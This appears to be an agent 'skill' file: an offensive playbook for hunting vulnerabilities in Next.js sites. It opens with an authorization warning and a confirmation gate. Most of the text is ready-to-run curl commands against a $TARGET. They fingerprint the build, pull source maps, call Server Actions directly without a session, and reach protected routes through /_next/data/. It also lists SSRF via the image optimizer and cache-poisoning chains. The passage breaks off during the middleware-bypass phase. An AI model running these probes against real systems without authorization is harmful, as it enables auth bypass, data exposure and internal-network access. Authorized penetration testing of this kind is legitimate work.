> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
# HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
Crown Jewel Targets
Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
**Highest-value chains:**
- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
- **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR
- **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users
- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client
---
Attack Surface Signals
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js---
Phase 1 — Fingerprint & Version Detection
# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5---
Phase 2 — Server Actions Abuse
# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
-H "Next-Action: ACTION_ID_HERE" \
-H "Content-Type: multipart/form-data; boundary=----" \
-H "Cookie: " \
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only---
Phase 3 — Middleware Auth Bypass
# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
